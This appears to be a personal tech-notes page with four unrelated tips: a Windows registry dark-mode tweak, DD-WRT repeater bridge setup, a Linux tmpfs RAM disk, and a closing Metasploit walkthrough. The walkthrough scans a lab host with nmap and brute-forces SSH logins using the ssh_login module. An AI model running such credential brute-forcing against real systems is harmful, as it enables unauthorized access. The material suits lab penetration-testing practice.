Regedit

Find and go to the HKEY_LOCAL_MACHINE > SOFTWARE > Microsoft > Windows > CurrentVersion > Themes > Personalize

For me Personalize folder is missing, if same in your case then Create new Key, Right click on Theme > New > Key (Give name Personalize)

Next Right click on Personalize folder and New > DWORD (32-bit) (Give name AppsUseLightTheme) and Set value to 0 (Right click on file > Modify)

Now perform the same steps 3 in this location: HKEY_CURRENT_USER > SOFTWARE > Microsoft > Windows > CurrentVersion > Themes > Personalize

if exists, modify and set value to 0

How To Set Up A Repeater Bridge On Your DD-WRT Router

To begin, make sure that the main router has a 192.168.1.X subnet and leases a DHCP address in the same pool. The secondary router must be running DD-WRT.

To ensure an easy set up, always click Save and not Apply between steps.

1. Reset to Factory Defaults on the secondary DD-WRT router. Perform a hard reset if needed.
2. Hook up the secondary router with an Ethernet cord or just as a wireless client.
3. Open the address http://192.168.1.1/ in your browser to access the DD-WRT GUI.
4. Open the Wireless tab and then the Basic Settings tab
   1. Physical Interface 
      1. Wireless Mode: Repeater Bridge

      4. Wireless Channel: Auto
      5. Sensitivity Range (ACK Timing): 0
      6. Click Save
   2. Virtual Interfaces: Click Add
      1. Wireless Network Name(SSID): Different SSID than Primary SSID
      2. Click Save

Create a RAM disk in Linux for fast file processes or forensics

I use this from time to time to do analysis on files for forensics reasons and I need some speed using the tools. A RAM disk can speed things up a lot but remember it will be gone the next time you restart.

commands
mkdir -p /mnt/ram
mount -t tmpfs tmpfs /mnt/ram -o size=8192M

typical speed on a SSD would about about 190MB/s for file reads and writes 

using a RAM disk you can see up to 3.2 GB/s read and writes

good way to put things that need higher access, if you want to recreate at boot up you could create a shell script that would create the RAM disk and copy a file(s) to it.

Using Metasploit to exploit SSH on target system

looking for open SSH on target system
-nmap -A -Pn 10.0.2.15

found 22/tcp open ssh

- msfconsole
- search ssh_login
- use auxiliary/scanner/ssh/ssh_login
- set RHOSTS 10.0.2.15
- set USER_FILE /root/Desktop/user.txt <- make sure you have one
- set PASS_FILE /root/Desktop/user.txt <- make sure you have one
- set STOP ON SUCCESS true
- set VERBOSE true
- exploit
